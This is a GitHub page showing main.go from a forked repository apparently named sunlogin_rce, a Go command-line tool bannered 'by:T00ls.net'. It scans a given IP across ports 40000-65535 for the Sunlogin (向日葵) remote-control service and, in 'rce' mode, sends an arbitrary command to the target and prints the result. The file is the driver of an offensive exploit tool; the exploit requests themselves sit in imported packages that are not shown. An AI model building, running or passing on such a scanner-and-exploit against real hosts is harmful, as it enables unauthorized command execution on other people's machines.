forked from heyzm/sunlogin_rce_
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
67 lines (60 loc) · 1.54 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package main
import (
"flag"
"fmt"
"strings"
"time"
"xrkRce/config"
"xrkRce/find"
"xrkRce/rce"
)
func init() {
logo := `
╔═╗┬ ┬┌┐┌╦ ┌─┐┌─┐┬┌┐┌ ╦═╗┌─┐┌─┐
╚═╗│ ││││║ │ ││ ┬││││───╠╦╝│ ├┤
╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘ ╩╚═└─┘└─┘
by:T00ls.net
向日葵Rce
----------------------------------------------
`
fmt.Println(logo)
}
func main() {
ip := flag.String("h", "", "ip")
port := flag.String("p", "40000-65535", "port:40000-65535")
runtype := flag.String("t", "scan", "type")
cmdstr := flag.String("c", "", "cmd")
x := flag.Int("x", 1000, "x")
flag.Parse()
if *ip != "" {
switch *runtype {
case "scan":
fmt.Println("[Info] 正在扫描中,请稍等....")
config.SetIp(*ip)
start := time.Now()
find.RootScan(*ip, *port, *x)
end := time.Since(start)
fmt.Println("花费时间为:", end)
fmt.Println("----------------------------------------------")
//扫描
case "rce":
if *ip != "" && *port != "" && *cmdstr != "" {
config.SetIp(*ip)
config.SetPort(*port)
str := rce.RunCmd(*cmdstr)
if str != "" {
fmt.Println("[Info] 命令执行成功:\n", str)
} else if strings.Contains(str, "Verification") {
fmt.Println("[Info] 命令执行失败,可能不存在rce.")
} else {
fmt.Println("[Info] 命令执行完毕,但是没有回显.")
}
}
//利用
default:
flag.Usage()
}
} else {
flag.Usage()
}
}